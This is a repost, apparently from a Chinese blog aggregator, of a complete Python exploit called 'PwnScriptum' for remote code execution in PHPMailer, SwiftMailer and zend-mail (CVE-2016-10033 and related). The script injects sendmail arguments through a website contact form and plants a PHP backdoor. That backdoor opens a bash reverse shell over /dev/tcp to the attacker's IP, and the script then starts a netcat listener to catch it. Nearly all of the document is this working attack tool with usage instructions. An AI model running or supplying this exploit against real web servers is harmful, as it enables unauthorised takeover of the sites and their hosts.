PHPMailer / Zend-mail / SwiftMailer
来源:互联网 发布:sftp 修改端口号 编辑:程序博客网 时间:2024/05/17 02:40
#!/usr/bin/pythonintro = """\033[94m __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit a.k.a "PwnScriptum" CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074This PoC exploit aims to execute a reverse shell on the target in the context of the web-server user via vulnerable PHP email library.Discovered and Coded by:\033[1;34m Dawid Golunski https://legalhackers.com t: @dawid_golunski for updates\033[0m\033[94m P.$. For testing only! Don't break the Web ;) \033[0m"""info = """[Version]Limited PoC (ver. 1.1)[PoC Video]See the the exploit in action at:https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html[Info]This exploit targets a common webapp component - Contact Form. It combines payloads for the following vulns:1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html[Usage]./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT [-d TARGET_UP_DIR] -ip ATTACKERS_IP [-p ATTACKERS_PORT] [--version] [--post-action POST_ACTION] [--post-name POST_NAME] [--post-email POST_EMAIL] [--post-msg POST_MSG]Note, make sure the contact form matches the default field names (send/name/email/msg). Otherwise override with --post-msg=message_box for example."""import osimport argparseimport timeimport urllibimport urllib2import socketimport sys# The Main Meatprint intro# Show infoif '-H' in sys.argv:print infoexit(0)# Parse input argsparser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page')parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir', default="upload")parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell')parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener', default="8080")parser.add_argument('--version', action='version', version='%(prog)s 1.1 Limited PoC')parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")args = parser.parse_args()# Preset varsTMOUT = 3# Set Vars#if args.ATTACKERS_PORT is None:#args.ATTACKERS_PORT = 8080#if args.TARGET_UP_DIR is None:#args.TARGET_UP_DIR = "upload"# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'BACKDOOR_URL = args.WEBAPP_BASE_URL.rstrip('/') + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILECONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT# Show paramsprint """[+] Setting vars to: \nWEBAPP_BASE_URL = [%s]CONTACT_SCRIPT = [%s]TARGET_UP_DIR = [%s]ATTACKERS_IP = [%s]ATTACKERS_PORT = [%s]CONTACT_SCRIPT_URL = [%s]BACKDOOR_FILEl = [%s]""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)print "[+] Choose your target / payload: "print "\033[1;34m"print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) The escapeshellarg() bypass :)\n"""print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""print "\033[0m"try: target = int(raw_input('[?] Select target [1-2]: '))except ValueError: print "Not a valid choice. Exiting\n" exit(2)if (target>4): print "No such target. Exiting\n" exit(3)if target == 1:# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)if target == 2:# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)if target == 3:# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)if target == 4:# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:# e.g: #RCE_PHP_CODE = "<?php phpinfo(); ?>" RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) # The form names might need to be adjustedpost_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}# Attack# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoorprint "[+] Backdoor upload via the contact form at the URL '%s'\n" % CONTACT_SCRIPT_URLdata = urllib.urlencode(post_fields)req = urllib2.Request(CONTACT_SCRIPT_URL, data)try: urllib2.urlopen(req)except urllib2.HTTPError, e: print "[!] Got HTTP error: [%d] when uploading the payload. Check the URL!\n\n" % e.code exit(3)except urllib2.URLError, err: print "[!] Got the '%s' error when uploading the payload. Check the URL!\n\n" % err.reason exit(4)# Check if the backdoor was uploaded correctly.# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine# So we catch the timeout to find out.# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within itprint "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URLgot_timeout = 0http_err = 0try: urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))except urllib2.HTTPError, e: http_err = e.codeexcept urllib2.URLError, err: print "Some other error happened:", err.reasonexcept socket.timeout, e: print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" got_timeout = 1if (got_timeout != 1): print "[!] Something went wrong... Error [%d]. Try another dir? Push through, don't give up! :)\n" % http_err exit(2)# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is calledprint "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"os.system("nc -v -l -p %s" % args.ATTACKERS_PORT)print "\n[+] Shell closed. Removed the uploaded backdoor scripts?\n"print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
0 0
- PHPMailer / Zend-mail / SwiftMailer
- phpmailer: Could not instantiate mail function
- PHPMailer出现Called Mail() without being connected错误
- Zend Framework Send Mail For Gmail
- 通过Zend Mail来发送邮件
- PHPMailer
- PHPMailer
- phpmailer
- phpmailer
- PHPMailer / PHPMailer
- 使用ZF2的DI操作Zend\Mail发送邮件
- thinkphp5使用swiftmailer
- PHP发送邮件swiftMailer
- laravel 邮件SwiftMailer
- JDK,JRE,JVM的作用及关系
- 【前端】meta标签
- git,sourcetree和bitbucket的使用教程
- Quartz学习笔记(三)—— TriggerListeners and JobListeners
- BufferedInputStream和BufferedInputStream
- PHPMailer / Zend-mail / SwiftMailer
- 内存管理之bootmem管理之对外分配函数
- React-Redu
- android 自定义属性
- 事务管理
- https建立连接
- 从网页缓存中获取图片,将图片存放当本地文件夹中
- PHP面向对象编程设计模式(四)观察者模式
- Quartz学习笔记(四)—— SchedulerListeners